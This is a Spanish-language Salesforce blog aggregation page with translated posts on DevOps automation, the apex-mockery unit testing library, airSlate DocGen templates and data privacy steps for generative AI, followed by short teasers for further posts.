Aquí es donde la automatización viene al rescate. La automatización, en esencia, es el uso de la tecnología para realizar tareas con una intervención humana reducida. Cuando se aplica a Salesforce DevOps , puede aliviar significativamente estos desafíos.
Las pruebas automatizadas, por ejemplo, pueden mejorar la calidad del código al identificar errores al principio del proceso de desarrollo. Las implementaciones automatizadas pueden sincronizar metadatos y código en diferentes entornos, lo que reduce los errores de implementación. Del mismo modo, la automatización de tareas repetitivas puede liberar el tiempo de los desarrolladores, lo que les permite concentrarse en actividades que agregan más valor, como el desarrollo de funciones o el diseño de sistemas.
Además, la automatización fomenta un proceso de desarrollo más ágil, lo que permite actualizaciones periódicas e incrementales en lugar de implementaciones rígidas de Salesforce. Este aspecto acorta el ciclo de desarrollo y facilita la reversión de los cambios si algo sale mal, lo que aumenta la estabilidad general del sistema.
Acelerar el desarrollo de Salesforce a través de la automatización implica identificar tareas manuales y repetitivas, implementar herramientas y marcos de automatización adecuados y perfeccionar los procesos para mejorar la eficiencia y reducir los cuellos de botella. Profundicemos en cada una de estas áreas con más detalle:
El primer paso hacia la automatización es reconocer qué tareas están ralentizando su velocidad de desarrollo.
Estos típicamente incluyen:
Suelen implicar procesos manuales tediosos que consumen tiempo y son propensos a errores. Al identificar estas tareas, puede identificar dónde la automatización proporcionará el mayor beneficio y tendrá un impacto significativo en la velocidad y la eficiencia de su desarrollo.
Una vez que haya identificado las áreas que podrían beneficiarse de la automatización, es hora de elegir e implementar las herramientas y los marcos adecuados. Salesforce ofrece varias funciones de automatización integradas, como Apex y Salesforce Flow .
Sin embargo, otras herramientas pueden ser más adecuadas para tareas complejas, como Salesforce DX para la gestión del ciclo de vida del desarrollo, o Jenkins y CircleCI para la integración y entrega continuas. Al seleccionar estas herramientas, asegúrese de que se alineen con las habilidades de su equipo y los requisitos específicos de su entorno de Salesforce.
La automatización no se trata solo de herramientas y tecnología. También se trata de refinar sus procesos. Revise su flujo de trabajo de desarrollo actual para identificar posibles cuellos de botella y áreas de mejora.
Por ejemplo:
Simplificar estos procesos puede mejorar drásticamente la eficiencia de su equipo, permitiéndole aprovechar al máximo sus esfuerzos de automatización.
Vale la pena mencionar que los beneficios de la automatización van más allá de acelerar el desarrollo. La automatización también puede mejorar la calidad del código al detectar errores temprano a través de pruebas automatizadas. Puede reducir los errores de implementación al sincronizar el código en diferentes entornos.
Y al liberar a los desarrolladores de las tareas rutinarias, les permite concentrarse más en el desarrollo de características y el diseño del sistema, fomentando así la innovación y mejorando el valor entregado a los usuarios finales.
Las pruebas son un componente crucial de cualquier ciclo de vida de desarrollo, y su importancia se multiplica para acelerar el desarrollo de Salesforce. Las pruebas periódicas y exhaustivas ayudan a identificar errores y problemas desde el principio, lo que reduce el riesgo de reparaciones costosas y lentas en el futuro. Asegura la calidad y la confiabilidad de la aplicación, lo que a su vez contribuye a mejorar las experiencias de los usuarios y los resultados comerciales.
La automatización puede potenciar este proceso de prueba. Las pruebas automatizadas implican el uso de herramientas de software para ejecutar pruebas y comparar los resultados reales con los resultados esperados. La implementación de una estrategia de prueba automatizada para las aplicaciones de Salesforce puede acelerar drásticamente el proceso de desarrollo, lo que garantiza implementaciones más rápidas, eficientes y confiables con menos errores.
Existen numerosas herramientas disponibles para pruebas automatizadas en Salesforce. Apex proporciona soporte integrado para pruebas unitarias, mientras que herramientas como Selenium, Provar y AssureClick pueden automatizar las pruebas de IU. Jest es una excelente opción para probar Lightning Web Components (LWC). Al seleccionar una herramienta, considere las necesidades específicas de su aplicación, la experiencia de su equipo y la complejidad y frecuencia de sus requisitos de prueba.
Seguir las mejores prácticas es esencial para aprovechar todo el potencial de las pruebas automatizadas. Estas son algunas de las mejores prácticas para pruebas automatizadas eficientes y completas en el desarrollo de Salesforce:
La integración continua y la implementación continua (CI/CD) forman un pilar central de Salesforce DevOps. CI/CD está diseñado para reducir errores y acelerar el desarrollo a través de la integración continua de código y procesos de implementación automatizados y consistentes.
En el contexto de Salesforce, CI fusiona periódicamente los cambios de código en un repositorio compartido, a menudo varias veces al día. Cada integración se verifica automáticamente mediante la creación de la aplicación y la ejecución de pruebas, lo que garantiza que los nuevos cambios se integren perfectamente con el código existente y no introduzcan errores.
Por otro lado, CD implementa automáticamente esos cambios en la producción, lo que garantiza que las nuevas características, configuraciones y mejoras lleguen a los usuarios finales lo más rápido posible. En Salesforce, CD puede implicar la implementación de cambios en diferentes entornos, como entornos de desarrollo, prueba, ensayo y producción.
La automatización es clave para lograr procesos impecables de CI/CD de Salesforce. A través de la automatización, puede optimizar y estandarizar los pasos involucrados en:
La automatización del proceso de compilación garantiza que los cambios en el código se integren y validen de manera constante. Las pruebas automatizadas, como comentamos anteriormente, verifican la integridad y la calidad del nuevo código. La automatización del proceso de implementación ayuda a sincronizar el código y los cambios de configuración en diferentes entornos, lo que garantiza que todos los equipos de DevOps trabajen con la versión más reciente y precisa de la aplicación.
En el desarrollo de Salesforce, el control de versiones y la gestión de cambios son fundamentales para mantener la integridad, coherencia y calidad de su aplicación.
El control de versiones, una parte integral del desarrollo de software, implica administrar y rastrear diferentes versiones de su base de código. Le permite ver los cambios a lo largo del tiempo, volver a las versiones anteriores cuando sea necesario y administrar el código de varios desarrolladores al mismo tiempo.
La gestión de cambios se refiere a la gestión y el seguimiento de los cambios del sistema, incluidos los cambios de configuración, las modificaciones de código y las implementaciones de nuevas funciones.
La automatización de estos procesos puede mejorar su eficiencia y confiabilidad en el desarrollo de Salesforce.
Varias herramientas pueden ayudar a automatizar el control de versiones y la gestión de cambios en Salesforce. Los sistemas de control de versiones (VCS) como Git permiten un control de versiones efectivo. Facilita el seguimiento de los cambios en la base del código, lo que ayuda a mantener la integridad del código.
Las herramientas de DevOps como Copado o Gearset pueden ayudar a automatizar el seguimiento y la implementación de cambios en diferentes entornos para la gestión de cambios. Brindan una visibilidad integral de su historial de cambios, lo que le permite administrar los cambios de manera más efectiva y mantener la estabilidad de su aplicación.
En el ámbito vertiginoso del desarrollo de Salesforce, el papel de la automatización se extiende más allá de la creación, prueba e implementación. El monitoreo automatizado y el manejo de errores son igualmente importantes para mantener la salud de la aplicación y corregir rápidamente cualquier problema.
El monitoreo automatizado implica el uso de herramientas para realizar un seguimiento constante del rendimiento, el uso y el estado general de sus aplicaciones de Salesforce. Este enfoque proactivo permite a los equipos de desarrollo identificar y abordar posibles problemas antes de que afecten a los usuarios.
El manejo proactivo de errores va de la mano con el monitoreo automatizado. En lugar de esperar a que se informen los problemas, el manejo proactivo de errores implica el uso de sistemas automatizados para identificar y, a menudo, resolver los problemas tan pronto como ocurran. Las notificaciones de error automatizadas aseguran que su equipo esté al tanto de cualquier problema al instante, lo que permite una respuesta rápida, minimiza el tiempo de inactividad y reduce la posibilidad de errores costosos.
La implementación de estas herramientas de automatización en Salesforce DevOps implica el uso estratégico de recursos como Monitoreo de eventos de Salesforce, que proporciona un flujo de eventos de auditoría de aplicaciones de su organización, y herramientas de Monitoreo y advertencia de errores, que pueden notificarle automáticamente sobre errores o excepciones.
La automatización combinada con las prácticas de Salesforce DevOps ofrece una poderosa estrategia para acelerar el desarrollo y mejorar la calidad del software. Es una receta para el éxito en el vertiginoso panorama digital actual.
Para implementar la automatización en su desarrollo de Salesforce, comience por identificar las tareas repetitivas que podrían automatizarse. Luego, implemente herramientas adecuadas para tareas como integración continua, pruebas automatizadas, control de versiones y monitoreo de aplicaciones. Agilice cualquier proceso manual junto con la implementación de estas herramientas, creando un flujo de trabajo de desarrollo eficiente y efectivo.
La adopción de la automatización en Salesforce DevOps acelera el desarrollo y refuerza la confiabilidad y el valor de sus aplicaciones. A medida que el ecosistema de Salesforce continúa evolucionando, el papel de la automatización crecerá aún más, dando forma al futuro del desarrollo de Salesforce.
Este artículo fue escrito por Sam Hops. Es redactora de contenido para una revista digital que cubre temas relacionados con el diseño, el comercio electrónico, el marketing digital y el espíritu empresarial. Sam es un apasionado de todo lo relacionado con el marketing digital, pero tiene un interés particular en el diseño gráfico, el SEO y las redes sociales.
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Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .
El enlace a la publicación original, lo encontrarás al final de este artículo.
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Escribir pruebas sólidas es crucial para crear aplicaciones comerciales confiables y eficientes. En esta publicación, haremos un repaso de las pruebas unitarias y presentaremos apex-mockery , una biblioteca liviana de pruebas unitarias de Apex que lo ayuda a escribir pruebas unitarias de Apex verdaderamente desacopladas usando simulacros y aserciones. Compartiremos ejemplos de código para ayudarlo a comprender cómo puede usar la biblioteca para crear pruebas unitarias fáciles de entender y de ejecución rápida.
Antes de echar un vistazo a la biblioteca de Apex-Mockery, demos un paso atrás y analicemos algunos de los conceptos básicos de las pruebas unitarias desde un punto de vista independiente de la tecnología. Luego, veremos Apex y discutiremos por qué la mayoría de nosotros debería escribir pruebas unitarias en lugar de pruebas de integración.
La ingeniería de software abarca múltiples tipos de pruebas: unidad, integración, servicio, interfaz de usuario funcional, de extremo a extremo, aceptación del usuario y más. Como dice Martin Fowler , podemos representar un buen equilibrio entre estos tipos de pruebas dentro del alcance de un proyecto representándolos como una pirámide.
Las etiquetas (tipos de prueba) pueden cambiar, pero el principio clave aquí es que las pruebas que se ejecutan rápido y con frecuencia deben estar en la parte inferior de la pirámide. Estos son los más fáciles de implementar y mantener (por lo que cuestan menos). Luego, a medida que subimos a la cima, aumentamos la complejidad y el costo: las pruebas se ejecutan más lentamente y se vuelven más difíciles de implementar y mantener.
En el contexto de esta publicación y en aras de la brevedad, nos centraremos únicamente en las pruebas unitarias. Estos son los primeros que debe implementar en cualquier proyecto, y deben ser una prioridad en su estrategia de prueba.
Por definición, las pruebas unitarias están destinadas a probar la menor cantidad de código (una unidad) de un proyecto. Las pruebas unitarias solo deben basarse en la lógica pura y estar completamente desvinculadas de sus dependencias (otras clases) y límites (otros servicios, como almacenamiento de datos o servicios web). Las pruebas unitarias deben ejecutarse rápido; no requieren una configuración de prueba particular, como la inserción de datos en la base de datos, y requieren que simule las dependencias de la clase bajo prueba.
Apex se beneficia de una estrecha integración con la Plataforma de Salesforce y, si bien esta característica es excelente para cosas como acceder rápida y fácilmente a la base de datos, difumina las líneas de separación de preocupaciones entre la lógica y los servicios. Como consecuencia, es muy fácil escribir pruebas de integración de Apex en lugar de pruebas unitarias. Por ejemplo, el código de Apex a menudo se prueba junto con la base de datos utilizando declaraciones @TestSetup y DML. Si bien estas pruebas de integración ayudan a lograr la cobertura, se basan en la base de datos y, por lo tanto, requieren más tiempo para ejecutarse que las pruebas unitarias "puras".
Como compartió Mitch Spano en su presentación de pruebas unitarias puras de Apex , la mayoría de las veces, no es necesario confiar en las pruebas de integración para probar capas de software de alto nivel, como controladores LWC, servicios y capas de aplicación. Gracias a la API de Stub de Apex lanzada en Spring '17, los desarrolladores pueden romper con esas dependencias en el contexto de las pruebas mediante la creación de su propia biblioteca/marco de pruebas unitarias o el uso de uno existente como apex-mockery.
Como parte del trabajo de ingeniería de Salesforce, estábamos desarrollando un paquete administrado internamente y necesitábamos una biblioteca para escribir pruebas unitarias. Queríamos escribir pasos simples de "arreglar" (como en el patrón Arrange-Act-Assert ), escribir afirmaciones comprensibles y burlarnos de nuestras dependencias. Buscamos en todo el ecosistema una biblioteca fácil de leer y bien probada que pudiéramos usar para crear nuestro producto, pero no encontramos una combinación perfecta, por lo que decidimos escribir la nuestra. Estábamos tan contentos con la implementación final de la biblioteca que decidimos lanzarla como código abierto con el nombre apex-mockery .
La biblioteca apex-mockery proporciona una biblioteca de simulación simple, liviana y fácil de leer para Apex creada con la API Stub. La biblioteca está diseñada para que sea fácil de usar y brinde la mejor experiencia de desarrollador posible al generar simulacros y apéndices, configurar espías y escribir aserciones.
Lo guiaremos a través de un escenario de muestra para que pueda comprender el poder de la biblioteca con algunos ejemplos prácticos. Luego, le mostraremos cómo puede escribir pruebas para este proyecto de muestra en tres pasos:
Considere el siguiente escenario de ejemplo: una panadería toma pedidos de pastelería y planifica las entregas utilizando un servicio dedicado. Los únicos datos que estamos considerando en el contexto de este escenario son los nombres de los pasteles y su fecha de entrega.
A continuación se muestra la implementación básica de nuestro escenario de panadería (el código completo está disponible en el repositorio del proyecto ).
Ahora que hemos echado un vistazo a nuestro proyecto de muestra, echemos un vistazo a cómo podríamos escribir pruebas para el método Bakery.order .
Para funcionar, la clase Bakery necesita que se pase una instancia DeliveryService en su constructor. En un contexto de producción, el servicio se proporciona con una instancia concreta DeliveryServiceImpl de la siguiente manera:
Sin embargo, en el contexto de las pruebas unitarias, no debe usar una instancia de servicio real para garantizar el desacoplamiento. En otras palabras, DelivertServiceImpl se probará unitariamente por sí solo, por lo que no es necesario que pruebe las dos clases integradas juntas. Puede reemplazar la dependencia del servicio con un simulacro que implemente la interfaz DeliverService .
Así es como puede crear e inyectar fácilmente un simulacro de este tipo, gracias a apex-mockery:
Luego, su prueba necesita un espía, para que pueda controlar el comportamiento del método planDelivery y ejecutar aserciones en sus llamadas.
Ahora que tiene un servicio simulado y un espía en su método planDelivery , veamos cómo puede configurar su espía y ejecutar aserciones en él.
Una vez que tenga una instancia simulada, puede controlar cómo se comportan sus métodos controlando sus valores de retorno y lanzando excepciones.
Utilice los métodos returns y throwsException para especificar un comportamiento predeterminado que se aplica a todas las llamadas a los métodos auxiliares. Luego, si es necesario, usa una combinación de whenCalledWith(<args>).thenReturn y whenCalledWith(<args>).thenThrow para aplicar comportamientos específicos a las llamadas a métodos que coincidan con los argumentos especificados.
Durante la ejecución de la prueba, apex-mockery comienza buscando una coincidencia en la configuración proporcionada por whenCalledWith . Si no se encuentra ninguno, vuelve a la configuración predeterminada ( returns o throwException ).
Veamos algunas situaciones comunes de configuración de stubs (ver más recetas ).
planDelivery planDelivery Ahora que sabe cómo impulsar el comportamiento de su simulacro, puede agregar aserciones para probar su código.
apex-mockery proporciona una API de afirmaciones fluidas. Tan pronto como comience su expectativa con Expect.that(mySpy) , tendrá acceso a varios métodos de afirmación. La biblioteca viene con una serie de afirmaciones de comportamiento fáciles de usar, como:
Si los comparadores de argumentos básicos no son suficientes para sus necesidades, también puede crear sus propios comparadores de argumentos personalizados .
Ahora que vimos los pasos individuales, terminemos y echemos un vistazo a nuestra prueba para el método Bakery.order . Observe cómo puede usar aserciones de burla de Apex, junto con las aserciones estándar de Apex de la clase system.Assert , en sus pruebas.
Esto concluye nuestro recorrido por las pruebas unitarias y la biblioteca de Apex-Mockery. Aprendió cómo las pruebas unitarias desacopladas son más fáciles de escribir y ejecutar mucho más rápido. Tener pruebas rápidas acorta el ciclo de retroalimentación del ciclo de vida del desarrollo, reduce la duración de la ejecución del flujo de trabajo de CI y acelera las implementaciones. Estos factores permiten a los desarrolladores implementar y ejecutar pruebas con frecuencia, mejorando así la calidad.
apex-mockery lo ayuda a dirigir su proyecto en esta dirección. Consulte el repositorio del proyecto para comenzar. Encontrará la documentación de la biblioteca con las opciones de instrucciones de instalación (instalación de fuente o paquete desbloqueado), algunas recetas de muestra y una guía de migración. ¡Feliz prueba unitaria!
Ludovic Meurillon es ingeniero de software en el equipo de Service Cloud en Grenoble, Francia. Empujó el código a la producción durante años, disfruta eliminando más líneas de código de las que agrega y prefiere la programación en pares sobre las revisiones de código y los productos de trabajo sobre el diseño perfecto. Sígalo en Twitter @LudoMeurillon o consulte sus proyectos de GitHub @ludomeurillon .
Sébastien Colladon es CTA e ingeniero de software en el equipo de Service Cloud en París, Francia. Le encanta contribuir a hacer del ecosistema de Salesforce un lugar mejor y disfruta aprender y trabajar con otros. Consulte sus proyectos de GitHub @ scolladon .
Philippe Ozil es un defensor principal de desarrolladores en Salesforce, donde se enfoca en la plataforma de Salesforce. Escribe contenido técnico y habla con frecuencia en conferencias. Es un desarrollador full-stack y disfruta trabajar en proyectos DevOps, robótica y VR. Sígalo en Twitter @PhilippeOzil o consulte sus proyectos de GitHub @pozil .
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Última actualización el 19 de junio de 2023 por Rakesh Gupta
Atrás quedaron los días en que la creación, generación y gestión de documentos eran producto de tediosos procesos manuales. Hoy en día, DocGen se puede optimizar fácilmente mediante la integración nativa de airSlate con Salesforce .
En pocas palabras, DocGen es una forma de crear documentos con contenido dinámico. Permite agregar lógica condicional e insertar fragmentos de datos de tamaño variable para generar un documento. Simplemente escriba la sintaxis utilizando el generador de etiquetas incorporado de airSlate y no tendrá ningún problema con el formato o la creación de plantillas para otros casos más adelante.
Por ejemplo, el equipo de ventas no sabe qué producto específico comprará un cliente, por lo que puede agregar varias condiciones en su formulario de pedido que se mostrarán según el producto. Esto permite crear un formulario de pedido una vez, lo que reduce la cantidad de procesamiento manual.
Imagine que puede generar un informe que incluya datos sobre Oportunidades que no están cerradas, o solo aquellas creadas después de una fecha específica, o cualquier otro criterio de su elección con un solo clic del botón. Más tarde, puede adjuntar estos informes a los registros de Salesforce, cargarlos en un almacenamiento externo o enviarlos por correo electrónico a los clientes si es necesario.
Para hacerlo, deberá crear tablas con un número dinámico de filas agregando etiquetas de tabla a la plantilla DOCX.
| Nombre | Cantidad |
| {{tabla(Productos)}} | |
| {{OpportunityName}} | {{Cantidad de oportunidad}} |
| {{mesa final}} |
DocGen en airSlate para Salesforce funciona a la perfección con la adición de Salesforce Bot. Esta poderosa integración agiliza el proceso de generación de documentos dentro del ecosistema de Salesforce. Al aprovechar el bot de Salesforce, los usuarios pueden automatizar fácilmente la creación y distribución de documentos, ahorrando un tiempo valioso y aumentando la productividad. Con solo unos pocos clics, el bot extrae datos relevantes de los registros de Salesforce y los fusiona con plantillas personalizables, generando documentos pulidos y sin errores.
Agregar etiquetas condicionales a sus plantillas DOCX le permite mostrar bloques de texto según ciertas condiciones.
La sintaxis básica de las etiquetas condicionales aparece de la siguiente manera:
Veamos cada pieza por separado.
Usando condiciones, puede mostrar u ocultar párrafos de texto. Para crear una condición, puede usar un Campo o Variable (para casos más complejos) con operadores como = , != , > , < .
Para los valores de condición, puede utilizar valores establecidos, valores de campo o variables.
Veamos un caso en el que, según el destinatario, el administrador de la cuenta deja una nota para aprobar o revisar el informe mensual.
A continuación, encontrará una guía paso a paso sobre cómo agregar etiquetas condicionales a sus plantillas DOCX:
Con DocGen, puede automatizar la generación de documentos en función de condiciones específicas, agilizando su flujo de trabajo y eliminando errores manuales. Al configurar la lógica condicional, puede controlar dinámicamente el contenido, el formato y la distribución de sus documentos, asegurando la personalización. Descubra cómo DocGen de airSlate revoluciona la generación de documentos, haciendo que su experiencia con Salesforce sea aún más eficiente y efectiva.
Una vez que haya terminado la configuración del bot, puede activar su flujo de trabajo con el botón personalizado .
Cómo funciona DocGen en airSlate para Salesforce: botón personalizado
Para ver si se ejecutó el flujo, regrese a su cuenta de airSlate y continúe con todos los flujos haciendo clic en Cerrar en la parte superior de la página.
Junto al Flujo, haga clic en Revisar . Elija el Paso para revisar el Flujo y haga clic en Revisar una vez más.
Una vez que se ejecuta el Flujo, el documento se completará automáticamente con los valores de los registros de Salesforce y, luego, partes del texto se representarán condicionalmente en función de estos valores.
Con DocGen, puede revisar sin esfuerzo sus flujos de trabajo, mejorando la colaboración y la productividad. Esta poderosa herramienta le permite realizar cambios en tiempo real en sus documentos, realizar un seguimiento de las revisiones y recopilar comentarios de las partes interesadas, lo que garantiza una gestión de documentos sin inconvenientes. Diga adiós a las revisiones manuales que consumen mucho tiempo y adopte la eficiencia de DocGen for Salesforce de airSlate, transformando su flujo de trabajo en un proceso optimizado y sin errores.
En esta publicación de blog, hemos explorado el proceso de generar documentos con contenido dinámico precargado desde Salesforce e incorporar lógica condicional en sus plantillas DOCX. Sin embargo, creemos que solo hemos tocado las posibilidades ilimitadas que ofrece airSlate para Salesforce . Si está intrigado por las capacidades de airSlate , le recomendamos que solicite una demostración para presenciar todo su potencial en acción.
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El enlace a la publicación original, lo encontrarás al final de este artículo.
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La IA generativa se ha convertido en el factor de cambio para las empresas innovadoras y orientadas al cliente. Impulsada por algoritmos avanzados y aprendizaje automático, la IA generativa puede impulsar la innovación, optimizar los procesos y acelerar las empresas en todas partes al proporcionar experiencias y soluciones personalizadas adaptadas a las necesidades únicas de los clientes.
Igualmente importante para las experiencias poderosas dirigidas por el cliente es la protección de los datos críticos para el negocio. Los sistemas de IA procesan y generan contenido basado en grandes conjuntos de datos y, lamentablemente, los modelos de lenguaje extenso (LLM) no están poniendo su negocio en primer lugar. Mientras se prepara para implementar capacidades de IA generativa, es fundamental priorizar la privacidad de los datos. Al implementar medidas sólidas de protección de datos, no solo mantiene el cumplimiento de las regulaciones pertinentes, sino que también mantiene la confianza del cliente, su activo más valioso.
Con los cinco pasos que se describen a continuación, puede innovar rápidamente, aumentar la productividad y mejorar las experiencias personalizadas, al mismo tiempo que garantiza la seguridad y la privacidad de los datos de sus clientes.
Para asegurarse de tener las protecciones de seguridad, privacidad y gobernanza correctas, querrá comprender qué datos usará para crear avisos, plantillas y modelos de capacitación. Comprender los datos a los que permite que accedan los modelos de IA ayudará a evitar que se compartan inadvertidamente los datos personales o confidenciales de los clientes.
Entonces, ¿cómo empezar? Primero, anonimice y agregue los datos de los clientes antes de usarlos con fines de IA generativa. Elimine la información de identificación personal (PII) y cualquier otro dato confidencial que pueda identificar a las personas.
Una manera fácil de hacer esto en Salesforce es usar Data Detect , un producto que le permite revisar objetos y campos antes de permitir que los procesos de IA accedan a ellos para recibir indicaciones y capacitación. Una vez que los datos se han escaneado a través de Data Detect, puede confirmar que no hay sorpresas en esos datos, como números de tarjetas de crédito o direcciones de correo electrónico en campos donde ese tipo de datos no debería existir.
Data Detect también puede ayudar a recomendar un nivel de clasificación, como "Confidencial" o "PII" para datos personales, y proporcionar detalles sobre el contenido de un objeto, así como encontrar datos confidenciales generados por chatbots, casos y transcripciones de llamadas registradas automáticamente. por IA.
Respetar la privacidad del cliente y proteger los datos a lo largo de sus procesos de IA es crucial para establecer y mantener la confianza. A medida que confía más en la IA para comprender y tomar decisiones a partir de sus datos, ¿cómo protege también esos datos, especialmente la PII?
Para los procesos de IA que usan datos personales, como aumentar los registros de contacto u orquestar ofertas de marketing dinámicas 1:1, querrá desarrollar políticas de uso de datos claras y transparentes que describan cómo se manejarán los datos de los clientes, incluido su uso en sistemas de IA generativos. . Comunique estas políticas a sus clientes y bríndeles la oportunidad de optar por no participar o elegir el nivel adecuado de uso de datos. Además, cree una política para eliminar y ofuscar los datos que ya no son útiles o relevantes, para que sus clientes permanezcan protegidos y sus procesos de IA generativa permanezcan precisos.
Centro de privacidad puede ayudar a verificar que sus procesos de IA estén autorizados para su uso en capacitación y avisos. El Centro de privacidad también puede ayudarlo a crear políticas de retención para administrar el ciclo de vida de los datos utilizados y generados por la IA, incluidas las transcripciones de llamadas, los chatbots y los casos registrados automáticamente por la IA.
Tanto para proteger los datos utilizados en los procesos de IA como para confirmar que sus integraciones se mantienen dentro de los límites de los datos que desea utilizar, deberá implementar controles para proteger los datos de los clientes frente a accesos no autorizados o infracciones.
Los controles de acceso le permiten restringir el acceso a los datos del cliente solo al personal autorizado. Al otorgar acceso según sea necesario, reduce el riesgo de que los modelos de IA y las personas no autorizadas accedan a datos confidenciales. Esto protege contra el posible uso indebido de esos datos al tiempo que garantiza la privacidad del cliente.
Security Center puede ayudarlo a administrar de manera centralizada los permisos de usuario y las configuraciones de la organización para los datos que se usan y se obtienen de los procesos de IA.
Ahora preparémonos para implementar la IA de manera segura en toda su organización.
Las pruebas en un entorno de espacio aislado son primordiales cuando se trata de IA generativa. Esto tiene dos propósitos fundamentales: probar los procesos de IA y capacitar a los empleados sobre el uso seguro y responsable de la IA generativa. Al realizar pruebas exhaustivas en un entorno de espacio aislado controlado, las organizaciones pueden evaluar y refinar el rendimiento y el comportamiento de sus modelos generativos de IA antes de implementarlos en escenarios del mundo real. Las pruebas permiten la identificación y mitigación de posibles problemas, como sesgos, errores o consecuencias no deseadas que pueden surgir durante un proceso de IA generativa.
Además, un entorno de sandbox proporciona un espacio seguro para que los empleados adquieran experiencia práctica y capacitación en el uso de herramientas y sistemas de IA generativa. Les permite explorar capacidades e identificar consideraciones éticas mientras toman decisiones informadas al usar la tecnología de manera responsable en sus operaciones diarias. Al aprovechar las pruebas de sandbox, las organizaciones pueden garantizar la confiabilidad, la eficacia y la aplicación ética de la IA generativa al tiempo que capacitan a su fuerza laboral para adoptar y utilizar esta tecnología transformadora con confianza.
Asegúrese de que, cuando utilice un espacio aislado para el entrenamiento de IA, haya eliminado todos los datos personales para crear sus indicaciones o entrenar un modelo de IA; puede eliminar u ofuscar fácilmente cualquier dato que no deba incluirse con Data Mask .
Garantizar que la integración de IA no acceda a los datos ni modifique los sistemas más allá del alcance previsto es crucial para mantener la seguridad de los datos y la integridad del sistema. Como describimos anteriormente, los controles de acceso y los permisos de los usuarios deben definirse cuidadosamente, otorgando a los sistemas de IA solo los privilegios necesarios y limitando su acceso a fuentes o sistemas de datos específicos. Además, se deben realizar pruebas y validaciones exhaustivas de la integración de la IA para verificar que funcione según lo previsto y que no tenga consecuencias ni vulnerabilidades no deseadas.
Finalmente, implementar mecanismos de monitoreo robustos puede ayudar a detectar y alertar cualquier intento de acceso no autorizado o comportamiento anormal por parte del sistema de IA. Las auditorías y revisiones periódicas de los procesos de integración de IA y los registros de acceso pueden ayudar a identificar cualquier desviación o posibles riesgos de seguridad.
Event Monitoring ayuda a que el proceso de monitoreo y detección sea más fácil al permitir la configuración de capacidades, como la seguridad de transacciones, para enviar alertas o bloquear acciones más allá de lo que se pretendía inicialmente para su proceso de IA.
Finalmente, a medida que se adentra más en su viaje de IA, es fundamental que sus datos estén respaldados y puedan restaurarse hasta el nivel de registro en el caso poco probable de que los datos utilizados y aumentados por IA estén mal configurados o sincronizados incorrectamente. Haga una copia de seguridad de sus datos para ver cada versión de los registros utilizados y tocados por AI, y restaure cualquier error.
Al adoptar un enfoque que prioriza la privacidad e implementar medidas sólidas de protección de datos, puede crear una base confiable para prácticas de IA generativas responsables, sostenibles y éticas, todo mientras impulsa una innovación más eficiente y efectiva e interacciones más personalizadas con los clientes. Para obtener más información sobre cómo comenzar con la IA generativa, consulte nuestra Guía de introducción a la IA.
Marla Hay Vicepresidenta de Seguridad, Privacidad y Gestión de Datos en Salesforce y dirige la organización de productos de Servicios de confianza. Se unió a Salesforce en 2017 después de liderar productos en una empresa de gestión de identidad de consumidores. Marla tiene una licenciatura en Ciencias de la Computación de la Universidad de Cornell y una maestría en Ciencias de la Computación de la Universidad Johns Hopkins.
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Esta guía se publicó originalmente en Medium en 2021 y se actualizó con la orientación y los consejos más recientes, incluidas las nuevas funciones de seguridad como parte de los lanzamientos recientes y la nueva estructura de precios para las revisiones.
La publicación Prepare su aplicación para pasar la revisión de seguridad de AppExchange apareció primero en el blog de desarrolladores de Salesforce .
Bienvenido a la primera entrega de una miniserie ilustrada sobre el diseño de sistemas de bases de datos. En esta publicación, echamos un vistazo a Redis: qué es, cuándo resulta útil y cómo usar los comandos básicos de Redis. Los comandos son independientes del entorno, por lo que, en nuestro ejemplo, los ejecutaremos a través de una CLI de Redis provista […]
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Última actualización el 20 de noviembre de 2022 por Rakesh Gupta Como consultor certificado de Sales Cloud recién nombrado, estoy compartiendo mis experiencias de estudio con usted y quiero que sea el próximo en hacerlo. ¡Así que prepárate y sumérgete! 👉 Ya que estás aquí, quizás quieras
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